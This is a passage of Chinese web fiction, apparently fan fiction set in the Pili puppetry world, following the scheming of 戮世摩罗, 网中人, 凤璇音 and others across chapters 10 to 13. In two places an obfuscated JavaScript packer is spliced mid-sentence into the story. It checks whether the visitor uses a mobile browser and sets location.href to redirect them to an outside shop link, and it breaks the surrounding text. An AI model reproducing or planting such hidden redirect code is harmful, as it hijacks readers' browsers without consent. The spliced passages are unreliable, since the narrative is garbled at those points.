凤璇音笑道,“我这点小伎俩,还能难得住策君吗?我下一步要帮谁,要对付谁,对策君来说,应该也不难猜吧?” “我猜对了有什么好处?”公子开明问。 “没什么好处,因为让你猜对了才是我的目的。”凤璇音脸上依旧保持着微笑,“你猜到了,我的目的就达到了。” “惨惨惨!这才是真的中计!”公子开明晃了晃脑袋,钗子上的流苏打在头发上,发出“啪嗒”的声响:“不过,为什么是我呢?为什么偏偏是我呢?” 凤璇音语气平静地道,“我四哥比六哥聪明很多,对付他不容易,但他有个很致命的弱点,就是特别容易信任自己很欣赏的人,比如说我,再比如说,”她伸手指了指公子开明,“你。” 公子开明夜顺着她的手指了指自己。 “记得最开始,他决定要请戮世摩罗帮杀应龙师时,我的建议是直接去找戮世摩罗谈判,但他非要去找你,还坚信你一定能明白他的意思……他的弱点就在于此。” “唉唉唉,所以呢?”公子开明捂住脸,而后掀开一只手掌,看向前面的凤璇音,“你也很聪明,他也很信任你,这件事我觉得你也可以!” “我的智谋与计策 ,皆不及策君。况且我被困在羽瑞寒魄宫中,行动范围有限。”凤璇音回答道,“所以这件事情,也只有策君能办得到。” “说得很好说得真好说得特别好。”公子开明冲凤璇音比了个大拇指,“但是,可是,然而,我为什么要帮你,我,作为修罗国度的策君,为什么要帮你一个凶岳疆朝的郡主——” 凤璇音接着他的话问道,“难道策君不想对付四哥吗?你知道的,我四哥其实比我父王还要难对付。有了我的助力,你可以省去很多的麻烦。” “那你为什么要这样做?”公子开明的问题如同连珠炮一般,“我又为什么要信你?我怎么知道这不是你们兄妹两人联合起来骗我?” 他一边说着一边往前走,语速越来越快: “要对付麒岁,我在沉沦海也可以想办法对付,我是策君哎,天底下没有我想不到的办法,我为什么要听信你的话?” 凤璇音坚持不懈地问道,“那策君如何才能信我呢?” “嗯……那我想想,我想想……” 公子开明朝左边绕了两圈,又朝右边绕了两圈,最后得出了结论: “我不会信你。” 对于这个回答,凤璇音似乎也并不感到意外,她盯着前方,沉默地思考了片刻,后低下头,从袖口里拿住一个信物,递给了公子开明: “那,这样东西,可以让策君信我吗?” “什么东西?”公子开明一脸狐疑地从凤璇音手中接过那信物。 当他看清手里那样东西时,神色瞬间变了: “这……这是……” 忽然间,他刚刚想不通的那些事,一下子在他脑海里串成了一条线。 原来如此,原来如此,怪不得在句余山谷中来救他的人会是麒岁…… 恍然大悟之际,他听见凤璇音的声音在前方响起: “打也打了,降也降了。” “策君,接下来,就看你的火烧连环船了。” —未完待续— 11. 成局(1) 【11】 戮世摩罗把沉沦海的地图铺到桌子上,网中人坐在他右手边,曼邪音、赤甯朱厌、小诚和木魅一圈人,把地图围了起来。 “凶岳疆朝的驻守重地也是浮玉关,所以两国开战的话,都不会先从浮玉关走。”戮世摩罗指了指苕水海峡的位置,“我们得声东击西。” “打哪里?”曼邪音问。 戮世摩罗盯着苕水海峡看了片刻,抬起头答道,“瑶山。” “瑶山?”曼邪音有些讶异地重复。 瑶山是沉沦海上的一座海上山,由于地理位置在沉沦海中央,原本是不属于三国中任何一国的。沉沦海之约后,凶岳疆朝将瑶山占领,应龙师的王后豹青前往瑶山居住,并把自己的封号改为“瑶后”,以告召整个魔世瑶山已是凶岳疆朝的领土。 “占领了瑶山,凶岳疆朝就等于失去了一半的天险保护,况且那里还是瑶后亲自把守,若情势危急,他们必然会调兵前去救援,届时我们再从浮玉关出兵,就会比现在容易得多。” “那我们要不要攻下瑶山?”曼邪音询问。 “凶岳疆朝救援前,主拖延。凶岳疆朝救援后,看情况。”戮世摩罗回答,“不在瑶山做过多的牺牲,或者,把这个地方交给幽闇联盟也可以。” 网中人插了一句话,“打下瑶山,并不难。” “哈,有妖神将这句话我就放心了。”戮世摩罗笑了一声,“如果既能攻下浮玉关,又能打下瑶山,无疑是对凶岳疆朝的一个巨大打击。” “那我们什么时候出兵呢?”曼邪音问。 “不急。”戮世摩罗说,“等一个机会。” ??“机会……” 听他这样说,曼邪音叹了口气,“唉!策君也总是说等。” 她说完这句话,大厅里忽然陷入了一阵诡异的沉默。 “……” “抱歉。”曼邪音说,“我说错话了。” “没事,”戮世摩罗不在意地摆了摆手,“我又没说大家不可以提策君。” 那日戮世摩罗虽是惩罚了赤甯朱厌,但审讯完之后,他还是放出了追捕令,要修罗国度的将士们注意公子开明的行踪,一经发现,立刻活捉押往招摇关。 戮世摩罗发布召令的时候,曼邪音问,“策君平时积攒了那么多仇家,万一有人公报私仇,想要趁机杀他怎么办?” 此话看似是担忧,但隐隐有讽刺赤甯朱厌之意。 “别担心,我在召令上写明了,杀策君者与弑君同罪……啊,不对,好像修罗国度弑君不算罪。算了,反正修罗国度内也没几个能杀得了策君的。” 曼邪音似乎还想再说什么,但到最后,也没把话说出口。 元邪皇之祸后,闼婆尊好像越来越会隐藏自己的情绪了。 众人商议结束后,大家就各自散去了。待到大厅里只剩戮世摩罗和网中人时,他便走出议事厅,走到城墙前,看向那被月光映得如同蓝砂石般的沉沦海。 海平面微微倒映着蓝色的光芒,一轮巨大的圆月升在黑底红云的夜空之上,像是夜兽睁着一只孤独的眼睛。戮世摩罗在看它,它也在看戮世摩罗,茫茫天地之间对视着,听波涛的声音,那是夜兽的低吟浅唱。 没过一会儿,后面传来了脚步声。 戮世摩罗没回头,不看也知道,肯定是网中人。 妖神将默默地站到他身边,和他一起看海,看月亮。 两个人都不说话,静静地听风,听波涛。 戮世摩罗本来想等着网中人开口问他在想什么,结果他在海风里被吹了半天,也不见网中人说话,便忍不住开口问,“妖神将,想什么呢?” 妖神将沉默,一直沉默,沉默到戮世摩罗怀疑他是不是没听见自己的声音。 直到他想开口问第二遍时,网中人才缓缓道: “吾在想,你是什么时候将火凤郡主策反的。” 听到这个问题,戮世摩罗略有些无辜地歪了歪脑袋,装傻充愣地问,“火凤郡主?为什么你会觉得她被我策反了?” 网中人回答道,“审讯赤甯朱厌那天,你说,火凤郡主会帮公子开明。那时吾以为你的意思是,火凤郡主会帮着麒染和公子开明一起对付麒岁。” “但后来,吾又觉得不对,火凤郡主向来不参与政治,你怎么知道她会帮助麒染?” “你来魔世之后,就一直在魔都没有离开过,来到招摇关后,吾也一直和你在一起,只有两次,吾不在你身边。”网中人指出: “一次,是刚到边关,吾去找曼邪音,而你去瞭望塔察看异相。还有一次,是当天晚上,你去了一趟浮玉关,但没有让我吾一起去。” “我的行踪你记得这么清楚啊?”戮世摩罗故作惊讶地问。 网中人袖子往身后一背,哼了一声,没接他这句话。 戮世摩罗见他这个反应,忍不住低头笑了两声,而后抬起眼睛来看向网中人,“记不记得策君说过,那天瞭望塔的异相是一种术法,对魔是没用的,换言之,对人族有用。” 网中人懒得听他卖关子,直接道,“你是想说,那个术法是火凤给你传递的讯息?” “哎呀。”戮世摩罗夸张地感叹道,“妖神将,你怎么就直接说出来了,这样显得我很不聪明。” “你要想显得聪明,去找赤甯朱厌,网中人没有那个耐心。” “唉,好吧好吧。”戮世摩罗叹息着摇了摇头,忽略网中人浑身散发的不友好气息,“火凤的讯息很简单,只是约我在羽瑞寒魄宫见面,说有要事相谈。” “然后你自己一个人就去了?”网中人问道,语气里略带指责,“不怕是个陷阱?” 戮世摩罗问,“你气我没带着你?” 网中人像是被他这句话噎了一下,停顿了片刻才道,“哼!不知道保护自己的人族,死了也就死了。” 戮世摩罗手捂住自己的心口,“妖神将,你这样讲我会伤心。” “继续讲你的故事。”网中人不想再继续这个话题。 “咳……”戮世摩罗假装咳嗽了一下,又继续道,“正是因为这太像一个陷阱,像到连赤甯朱厌这样的魔都认为这是个陷阱,所以当天晚上,我就让赤甯朱厌陪我走了一趟浮玉关。” “羽瑞寒魄宫所在的凤鸣山,过了苕水海峡就是。两个人目标太明显,所以我让赤甯朱厌待在对岸,我自己过了海,躲过了边关的盘查。” “你!”网中人听到这儿,火似乎蹭地就冒起来了。 “啊?怎么了?”戮世摩罗一脸莫名。 “要吾多费口舌,告诉你这有多危险吗?”网中人的语气明显已经在压着火了。 戮世摩罗的的脸上依旧带笑,“我这不是好好的吗。凶岳疆朝的边关没那么难走,不然策君也不能带着兵马就直接去句余山谷了。” 网中人没说话,像是在生闷气。 戮世摩罗便用安慰的语气说道,“离开浮玉关之前,我向幽陀鬼羿要了一个回身咒带在身上,情势若有不对,我可以用回身咒回到浮玉关。放心,我还没那么想死。” 网中人还是没说话,但杀气减弱一些了。 戮世摩罗见他不语,便继续道,“之前魑琉心和我说过,羽瑞寒魄宫外有三层结界,没有西王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689170|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母印的魔是进入不了的。但是我抵达宫殿时,并没有感受到任何的结界。” 网中人有些意外:“你直接就进去了?” “嗯。”戮世摩罗点点头,“院子的门开着,我直接就进去了。” 顿了顿,戮世摩罗又道,“后来火凤郡主向我说明,我才知道,原来瑶后疏忽了,那个结界只对魔有作用,对人族是没有作用的。这也是之前俏如来在魔世躲避追杀,无意中躲进凤凰塔楼里时被她发现的。” “她在羽瑞寒魄宫中,联系不到任何可以帮助她的魔,先前她听说修罗国度的新任帝尊是个人族,啊,也就是我。她得知我是人族后,就将术法放进一个首饰盒里,让麒染带来了沉沦海边关。首饰盒打开,里面的术法就会飞出来,找到附近的人族。” 网中人问,“她怎么知道你在边关?” 戮世摩罗摇摇头,“她不知道,她说,如果术法没有联系到我,她会再想办法,直到联系到我为止。” 网中人低着头,似乎思考了片刻,又问,“你和她做了什么交易?” “什么什么交易?”听他这样说,戮世摩罗摇摇头,“就不能是我助人为乐,看她可怜,想要救她吗?” 网中人也不搭理他的夸张表演,继续道,“魑琉心之前说过,她体内有邪火,离开了羽瑞寒魄宫会死。” 戮世摩罗解释道,“不是邪火的原因,她是被应龙师困在那里的,但为什么要困住她,我没有问。她只说要救她需要先杀瑶后,杀个魔还不简单?我就答应了。” “所以,你答应救她出去,她在凶岳疆朝中给你做内应,是吗?”网中人问。 “嗯,”戮世摩罗点点头,“谈判过程直接略过,结果就是我让她务必保证应龙师死在句余山谷的决战之中,她也向我托出了她给应龙师下毒的计划。所以那天我没阻止应龙师进入云外镜,反正无论去哪里,他都活不长久了。” “公子开明的事也是你们商量好的?”网中人问他。 “算是吧。”戮世摩罗回答道,“我负责给赤甯朱厌下套,给他赤符,暗示他抓捕策君。她负责让麒岁去救策君,向策君说明计划的来龙去脉。啊,妖神将你看,”戮世摩罗感叹道,“在敌国有个内应还真是非常重要啊。” 网中人沉默片刻,道,“险。” 一个字,语气带了些许的怀疑,和一点点威胁。 戮世摩罗知道网中人的意思,这一局的风险,的确很大。 他要百分之百地相信这个计策中的每一个人,尤其是公子开明——他要相信公子开明能明白他的计策,相信即使凤璇音不可靠,公子开明也能从容应对,周旋其中。相信公子开明在他控制范围之外的地方,能把这半局棋完成,且,不会真的背叛…… 但这一着若是成功,他出兵沉沦海,就是天时地利人和具齐。 他需要这个机会。 “别担心。”戮世摩罗拍了拍网中人的胳膊,“策君去的又不是幽闇联盟。要是把他放去幽闇联盟,我可能就真的要担心一下了。” 网中人挪开眼神,不再看戮世摩罗,而是望向翻涌着海浪的幽暗海面。 “你之前说,你要一石三鸟。” “是啊,”戮世摩罗故作感动地道,“我的话你都记得这么清楚。” 网中人继续道,“削弱赤甯朱厌是第一只鸟,凶岳疆朝内乱是第二只,那么第三只鸟呢?” 第三只鸟…… “这嘛……” 戮世摩罗将手背后,抬头看看天空,“哈哈”笑了两声: “以后你就知道了。” —未完待续— 12. 成局(2) 【12】 忆无心带着阿若和几个苗兵一起把魔族老人抬到了附近闲置的房屋里,而后派遣两个苗兵分别去通知风逍遥和榕烨。 两人也没等多长时间,榕烨就匆匆赶来了 外面的雨还在下,榕烨进屋后先把帽子和蓑衣脱下,随后便急匆匆地向忆无心询问情况。忆无心向她说明了一下后,她便走到床铺前,仔细查看老人的伤势。 查看片刻后,她得出结论:“他的外伤很严重,似是被术法所伤。” 榕烨一边说着,一边将手搭上老人的手腕,语气里有一丝难以置信,“这是什么术法,怎么会有这样的破坏力?” “术法,魔族……” 忆无心仔细回忆了一下,她好像听精忠大哥说过,魔世除了梁皇大师兄,还有一位术法非常厉害的高手…… 榕烨给老人把着脉,脸色忽然沉了下来: “他……他内伤也很严重。”她皱着眉头说道,“可能……可能没有多少时间了……” “啊?”闻言,忆无心和阿若两人皆是一惊,“他伤得这么严重啊?” “魔的体制虽然和人族不同,但我略一察看,也能看出他身体的状况已经岌岌可危了。”榕烨将手拿开,叹了口气道,“也不知道这位老者之前经历了什么,怎么会伤成这样呢……” “那有办法救他吗?”忆无心询问。 榕烨闻言,有些无奈地道,“无心你呀,连对方是谁都不知道,只想着要救人,”顿了顿,又道,“我带了一些治外伤的药,先给他敷上,也不知道对魔有没有用,其他的,等军长来了再做定夺吧。” “唉,我总是不忍心看着生命在我眼前消失。”忆无心似乎也感到有些不好意思,低头抓了抓自己的头发,“麻烦你了榕姐姐。” “没事。”榕烨摇了摇头,“我如今只能让他的外伤不再继续恶化,能不能活下去,还是要看他的造化。而且他的脉象很不寻常,我猜测……”榕烨有些不确定地道,“他可能有是中毒了。” “啊……”站在忆无心后面的阿若闻言,有些害怕地捂住了自己的嘴巴,“受了这么严重的内伤和外伤,又被下了毒,这个老爷爷也太可怜了。” “若他真的是中毒了,那这肯定是一种我没见过的毒。”榕烨将身子转过来,向两人解释,“如果是魔世之毒的话,我想在魔世之外,应该很少有人能解毒……” “说来倒也奇怪,”忆无心微微皱着眉头道,“魔世之人,怎么会突然出现在苗疆呢?” “你们有看到他是怎么出现的吗?”榕烨询问。 阿若回答道,“听苗兵们说,是祭祀台忽然出现了一个很大的门洞……” 她话还没说完,忆无心忽然惊道,“哎呀!他醒了!” 忆无心话音刚落,床榻上的老人就“忽”地坐了起来。 但不等三人有所反应,那老者忽然一把抓住了榕烨的胳膊,速度之快,三个人都没看清他是怎么出手的: “娃娃,这里是哪!” 榕烨被他抓着胳膊,只感觉自己半边身子一点也不能动弹,想来这人应该也是个高手,不然不会和能把他伤得这么严重的人对战,便只好应道,“这里是苗疆。” 忆无心见老者抓着榕烨的胳膊,神色之间满是戒备,忙向他解释道,“伯伯,您别误会,我们没有想要伤害您的意思。您先前从一个洞口掉到这里,我们看您伤得严重,就把您带来这里,想为您治疗一下……” 老者闻言,眼里闪过一丝讶异: “苗疆?” 他的语气仿佛第一次听说这个地方一般: “怎么会是苗疆……” 忆无心知道他是魔,又不清楚他的底细,刚刚见他一把抓住榕烨的胳膊,着实慌了一下。但又见他似乎没有要伤人的意思,便又解释道,“伯伯,您受伤很严重,这位姐姐是大夫,她是来为您疗伤的。” 老者听她这样说,态度不屑地“哼”了一声,起身就要下床,“老朽这点伤,还需要你们几个娃娃来救治?” 话说完,就低头剧烈地咳嗽了几声。 忆无心见他要离开,马上一步走到门口,将出口堵住了,“等一下,你现在还不能离开!” “老朽要走,凭你们也能拦得住老朽吗?”老者冷哼一声,从墙边拿过古幡,阴冷的眼神盯着站在门口的忆无心,“娃娃,劝你识相,赶紧让开,不然就别怪老朽不客气了。” 忆无心还没接话,眼前忽然闪过一道白影,她定睛一开,发现居然是阿若挡到了自己身前。 “你这老人好不讲道理!”阿若大声指责道,似乎很为忆无心不平,“无心她见你受伤,将你带来这里,还找来榕姐姐帮你医治,你连句谢谢都不说,竟然还威胁她!” 老者盯着忆无心和阿若看了两眼,忽然“哈哈”大笑起来。 “你笑什么?”阿若问他。 “哪里来的无知小儿,竟敢来老朽的面前逞威风……”老者一边说着,一边举起手中的古幡,“老朽即使受伤!也能将这里夷为平地……” 说罢,他将古幡“砰”地一声杵向地面,绿色的邪光顿时溢满整个房间! 榕烨喊道,“无心小心!” 忆无心见状,一把将阿若拽到自己身后,起手运出灵力,一道白色的屏障自地面升起,将老者的术法攻击挡在了外面。 “嗯?”老者眯了眯眼睛,有些傲慢地道,“竟然也是个术法师……” 顿了顿,又道,“小娃儿术法不差,但若不是老朽受伤,你也挡不了这么长时间……” 说罢,古幡一挥,一道绿色的光冲破了白色结界,一下子把忆无心连带着阿若打到了门上! “啊!” 忆无心一手扶住门,另一手刚伸出去,就被阿若扶住了。 接着,只听“当啷”一声,有个什么东西似乎掉出来了。 忆无心听见声音,低头一看,发现竟然是阿若送自己的五生石掉了出来。 但她还没来得及捡,面前忽然刮过一阵黑风,不等她有所反应,五生石就被那股黑风卷走了。 待她再次抬起头来,发现五生石已经在那位老者手中了。 “那是……”忆无心见五生石被抢走,有些着急地道,“那是我的……” 不等她把话说完,老者就开口厉声问道,“五生石?这是五生石?你们怎么会有五生石?” 他的语气惊讶至极,仿佛看到了天方夜谭一般。 阿若气恼地喊道,“那是我送给无心的,你怎么连别人的礼物都要抢啊!” 她话音刚落,老者忽地化作一道黑风逼到了阿若的面前,接着,她的脖子就被老者掐住了! “小娃儿,老实交代,这五生石是从哪里得来的!” “咳……咳……我……” 阿若抓住老者的手腕,企图把他的手掰开,但她挣扎了半天,也没将老者的手松开,倒是那双手,已经越握越紧了。 忆无心见状,急忙道,“伯伯,我知道五生石在哪里!你要的话,我可以带你去找!” “嗯?”老者闻言,转头看向忆无心。 “你说的是那块石头对吗?”忆无心指了指老者拿在手中的石头,深吸了一口气,“这种石头……苗疆后山上有很多,你需要的话,我带你去找,你先放开她好吗?她什么都不知道。” 老者看了看手中的阿若,又看了看忆无心,忽地手一松,阿若一下子落了下来。 忆无心眼疾手快地冲上前,伸手扶住了阿若。 “你没事吧?” 阿若咳嗽了两声,摇了摇头,“没……没事。” 老者后退一步,“哼”了一声,“不需要,但这一块五生石,是我的了。” 阿若抬头瞪他,怒火中烧地道,“那是我送给无心……” 话没说完,忆无心拍了拍她的肩膀,她回头看忆无心,忆无心冲她摇了摇头。 忆无心暗自斟酌着,阿若不会武功,如今再惹怒那老者无益。只是那老者是魔世中人,她们皆不清楚对方底细,若是像公子开明那样的魔,放走也就放走了。可眼前这魔,怎么看也不像是个好说话的魔,随意放走的话,很难保证他不会去伤害苗疆百姓…… 正思索着,就见老者已将那五生石收起来,起步往门口走过来。 忆无心站在门前,握着阿若的手没有动,大有一副不让对方踏出门半步的气势。 老者见她一动不动,轻蔑地扬了扬头,“哼,凭你也想拦住老朽?” 他袖子一挥,伸手就要去抓忆无心的脖子! 身后就是门,此招已避不可避,眼见老者就要攻上前来,忆无心只好再次动用灵力,想要凝聚屏障挡住这一击! 忽然听得“嗖”地一声,一个什么东西飞了进来! 忆无心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689171|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧头一看,发现门后忽然飞来了一把短刀,那刀极快,不等老者反应,那刀子直接就插在了他的右肩! “什……” 与此同时,无心身后的门一下子被踢开了,只听得一声,“无心躲开!”一道风一般的人影就闯了进来,如一道闪电般将他肩上的刀拔走了! 这一切快得让人来不及反应,当老者回过神来时,他的左肩已经在往外冒血了。 但情况根本容不得他多想,那刀客已再次闪身上前,一刀一刀快得几乎看不清眼前的动作,把老者逼得连连后退,连施展术法的空荡都找不到! 老者本就有伤在身,对方身手敏捷,一刀一刀快得如同暗夜里的流光,不过多时,老者已经中了好几刀! “可恶……” 老者踉踉跄跄后退好几步,勉强放出一个绿色的屏障,这才险险挡住了对方的攻击。 刀客将短刀在手中转了个圈,停住了攻势,转头看向忆无心、榕烨和阿若三人,“你们没事吧?” 阿若看见他,几乎要跳起来,“逍遥哥哥,你来了!” “啊,不好意思,来晚了。”风逍遥转过身,又将刀转向老者,“是说,应龙师,你怎么会在这儿啊?” 风逍遥此话一出,忆无心直接僵住了,“他是应龙师?” “是啊,无心,你没有见过他,他就是应龙师啊。”风逍遥解释道。 “你……”应龙师盯着风逍遥看了两眼,只觉得眼熟,却一时想不起来是谁。但料想应该是个高手,心知此时的境况对自己不利,于是旋身化作一道黑风,朝门口卷了过去! “老头,又要跑!” 风逍遥见状,闪身冲到了门口,只见那黑风中忽然伸出一只手,凝聚了绿色的功力,一掌打在了风逍遥的左肩。 他这一掌明显是打偏了,但用来助他逃走已足矣,只见那团黑风在雨中一闪,便化作一道绿光消失了。 风逍遥捂着自己的左肩追出门,左右看看,大雨之中已没了人影。 “可恶啊……”风逍遥喃喃自语,“逃走了……” 顿了一下,又自言自语道,“我得赶快去通知王上和老大仔,放出追捕令。”说罢,转头看向忆无心三人,“你们还好吗?” 忆无心摇了摇头,“我没事,倒是你,中了一掌,没事吧?” “没事没事。应龙师看起来受伤真的蛮严重,这么近的距离都能打偏了。”风逍遥看了看自己的左肩,那一掌的威力也不大,完全是对方为了逃命胡乱打出的一掌,“我先去通知王上,你们千万要小心。” “嗯。”忆无心点点头,“我再回祭祀台看看情况。” 风逍遥走后,榕烨和阿若走上前,忆无心叹了口气道,“唉……没想到这位老者就是应龙师,我只当他是个普通的魔……” 榕烨知道她在纠结自己方才要救应龙师的事情,便拍着她的肩膀安慰道,“在不知道对方底细前,见死不救难免会心生不安,你也不用自责。” 忆无心摇着头叹道,“有的时候,救是错,不救也是错。” 说完,又似是强打起精神般地道,“我没事,榕姐姐,今天谢谢你的帮忙,拖累你了,你快回去休息吧。” “你太客气了,无心。”榕烨的语气里掺杂着一丝心疼,“你今天也受惊了,外面雨大,也早些回去吧。” 说完,向忆无心和阿若两人告别后,转身离开了。 榕烨离开后,阿若一步上前,走到忆无心旁边扶住她,略带担忧地小声道“无心……” “唉,今天的事太意外了,没吓到你吧?”忆无心转头看她,带些歉意地问道。 “没有啊,怎么会。”阿若急忙否认,头摇得像个拨浪鼓。 “唉,只是可惜你给我的五生石被抢走了……”忆无心有些惋惜地道。 阿若皱着眉头,满心不解地道,“唉,就是块普通的石头而已,后山上应该有很多啊,他抢一块破石头做什么,想不明白……” 忆无心想了想,猜测道,“说不定那石头对魔族真的有非凡的意义。” 顿了一下,她忽然似是想到了什么一般,又道,“阿若,我要去一趟魔门世家。” “咦?你去魔门世家做什么呀?”阿若好奇地问道。 “我去查查书籍。”忆无心回答,“我好像在某一本书中,见过五生石的名字……” —未完待续— 13.成局(3) 【13】 戮世摩罗最近总感觉好像有人在暗处盯着自己,可是无论是自己找,还是派人搜索,都没有找出什么可疑之人来。 他把这件事和网中人说了,网中人提出的对策十分简单粗暴:“你最近最好不要离开吾身边。” 戮世摩罗点点头表示同意,“我本来也不怎么离开你身边。” 说完,他暗自掂量了一下网中人的这句话,总觉得他似乎还在介意他之前自己一个人去羽瑞寒魄宫的事情。 于是现在事情就变成了这样,戮世摩罗深夜还在翻修罗国度的卷宗,而网中人坐在他对面,就盯着他翻了一卷又一卷,一动不动,像个立在那里的稻草人一般。 戮世摩罗把手上的一卷书翻过去,抬起头来看网中人,“妖神将,你不困吗?” 网中人冷声回道,“这话不应该吾问你吗?” 戮世摩罗故意做出一副心虚的样子,“策君在这边放了这么多卷宗,这阵子他不在沉沦海,本帝尊亲自坐镇,就翻翻看看。”他一边说着,一边拿起一本书递给他,“我是有事可做,所以没觉得晚,你……” 他顿了一下,而后十分认真地建议道,“要不你也看一看?我怕你无聊。” 网中人用听不出情绪的语气道,“吾不需要。” “拒绝得可真干脆。”戮世摩罗故作可惜地道,说完,又指了指桌子上的那卷书,“这边有个问题想问你。” 网中人问,“什么问题?” 戮世摩罗扬了扬下巴,似是示意网中人去看书上的地图。 网中人顺着他的手指看过去,发现它指的位置是沉沦海东边的冰夷之渊: “这里是什么地方啊?” 只见地图上一道长长的黑色的裂缝,突兀地竖在沉沦海东侧,宛若一条张开的血盆大口,吞噬着一切敢于靠近的生命。 网中人的回答非常迅速,“冰夷之渊。” “我知道是冰夷之渊,我又不是不识字。”戮世摩罗无奈地道,“只是别的地方都有简单的介绍,只有这里什么都没有,我有些好奇。” 网中人沉思片刻,答道,“吾只记得,这是个不祥的地方,其余的信息已经不记得了,你可以明天询问曼邪音。” “不祥的地方?”戮世摩罗重复了一下,又低头去观察地图上的标识,“地面上忽地出现了一条那么长的裂缝,看起来确实挺不祥的……” 正说着话,外面忽然大步走进来一个魔兵: “帝尊,凶岳疆朝有消息了。” “哦?”戮世摩罗闻言,将手中的书卷放到桌子上,起手招呼他走过来,“什么消息?你说。” 魔兵走上前,弯下腰压低了声音对戮世摩罗道,“七天前,麒岁在返都路上堵截麒染,两方于汾水城交战,最后麒染竟然在乱军中失踪了。刚刚已得到消息,麒岁已经抵达凶犁魔都,最近几日就准备接任疆主之位了。” 戮世摩罗皱了皱眉头,“麒染失踪了?” “嗯。”魔兵点了点头,肯定道,“失踪了。” 戮世摩罗盯着前方沉默片刻,而后像是听到了什么笑话般笑了起来,“这麒岁也太没用了,大好的机会不把老六杀掉,留下这么一个后患。” 他挥了挥手让那魔兵下去,而后转头看向网中人。 网中人见他一直盯着自己不说话,便问,“你有话要说?” 戮世摩罗挑了挑眉,开口问,“妖神将,你觉得麒岁担任疆主之后,做的第一件事会是什么?” 网中人思忖了片刻,回答道,“以麒岁的个性,会先收拢人心,看看朝中有多少人为他所用。” “他会搜捕麒染吗?”戮世摩罗问。 网中人纠正他,“他只会寻找,而不是搜捕。” “嗯。”戮世摩罗点点头,“也没什么差别。麒染这步棋倒是带了点脑子,如今麒岁在明他在暗,行动方便了不少。” 网中人想了想,“你觉得,麒染会破坏麒岁的继位大典?” “以他的个性来说,有可能。”戮世摩罗回道,“但麒岁也肯定会对他有所防备。” 网中人指出,“继位大典,除非麒染能保证自己一定成功,不然他不能亲自出面。” “嗯……我记得凤璇音告诉过我,他身边好像没有谋士。”戮世摩罗斟酌着说道,“以他的智商,我真怕他自己先冲上去身先士卒了。” 说罢,他敲了敲自己的额头,忽然像是想起来了什么似的道,“啊,策君,策君不是还在凶岳疆朝吗?可不可以让他提醒一下麒染?” 网中人很不给面子地道,“你现在还能联络到公子开明吗?” “唉!已经断联了。”戮世摩罗叹了口气,“我和策君现在交流全靠心灵感应。” “凤璇音呢?”网中人问。 “策君我都联系不上,还能联系上凤璇音?”戮世摩罗摇了摇头,“现在我们都在靠心灵感应交流。” “哼,那你就在沉沦海这边祈祷麒染能沉得住气吧。”网中人语气不善地说道。 但戮世摩罗看起来似乎一点都不慌张,他捋着自己的头发,盯着前方,似笑非笑地说道: “没关系,这点小事,我能想到,策君一定也能想到。” —— 当麒染跌跌撞撞走进羽瑞寒魄宫时,凤璇音正坐在梧桐树下喝茶,一抬头,就见麒染浑身是伤地走进来。 凤璇音见状,吓了一跳,几乎是把杯子扔到了桌子上,而后冲过来扶住了麒染: “六哥!你!你怎么伤成这样!” 麒染身上到处是血,走路也摇摇晃晃的,一看就伤得不轻。他看了一眼凤璇音,重重地咳了一声,声音虚弱地道: “那日……你要我尽快回凶犁魔都,我便马不停蹄地赶路,没想到半路遇到了麒岁,是他……他……” 凤璇音闻言,惊异地瞪大了眼睛,难以置信道,“是四哥把你伤成这样?” “是……是啊……”麒染咬牙切齿地道,“他……一看便是有备而来,祸雕和刹罗狰皆在他左右,而我的主副将和军队都在凶犁魔都内,只有几个魔羲宫的护卫……” 凤璇音询问,“六哥你……一个将领都没有带着吗?” 麒染恨恨地道,“我来句余山谷前,六皇子府就已经被麒岁以毒杀父王之罪名封锁了,且他是以父王名义封锁,联系不到府中的任何人……我就只能带着魔羲宫众兵前去支援,而这支军队又在句余山谷内战死大半……” 凤璇音忙扶着麒染坐下,重重叹息道,“唉……这样看来,四哥现在肯定已经在魔都了,” “哼……我来的路上听说他过几天就要举行继位大典了……”麒染愤慨地说道,“这个天杀的老四,我绝不会让他如愿,他没有父王已死的证据,我只要说父王是他杀的……” 凤璇音闻言,急忙道,“不可!” “嗯?”麒染有些疑惑地望向她。 凤璇音顿了一下,似是在组织语言,过了两三秒后才继续道,“六哥,就算你真的出面指认父王是四哥杀的,朝中的那些大臣,还有凶岳疆朝的百姓,会在乎吗?” 麒染一愣,一时竟无法回答这个问题。 凤璇音见他不语,便继续道,“如今父王失踪,朝中动荡,外又有修罗国度和幽闇联盟虎视眈眈,可谓是内忧外患。此时凶岳疆朝必须有一人站出来主持大局,而这个人选,不是四哥就是你。如今你和四哥在汾水交战,他赢你输,他带兵回到魔都,不要说父王是他杀的,就算父王母后都被他杀了,朝中大臣也会一致拥护他成为新任疆主。” 麒岁握紧了拳头,面色发白,“可恶……” 凤璇音细思少顷,又道,“四哥现在众望所归,是国家动荡之时力挽狂澜的那根柱子,所以他是动不得的……但,”凤璇音指出,“他也有忌惮。” “什么忌惮?”麒染询问。 凤璇音道,“六哥你出兵支援父王,四哥为何会将你的六皇子府封锁?因为那就是他的忌惮。朝中上下,只有你的六皇子府是忠诚于你这个人,而不是这个国家。所以四哥继位,第一件事就是要解决你的六皇子府。” 麒染顿时反应过来,“他要杀他们?”顿了一下,又道,“不对,麒岁不会杀他们,他早就想要招揽他们到自己的麾下……” 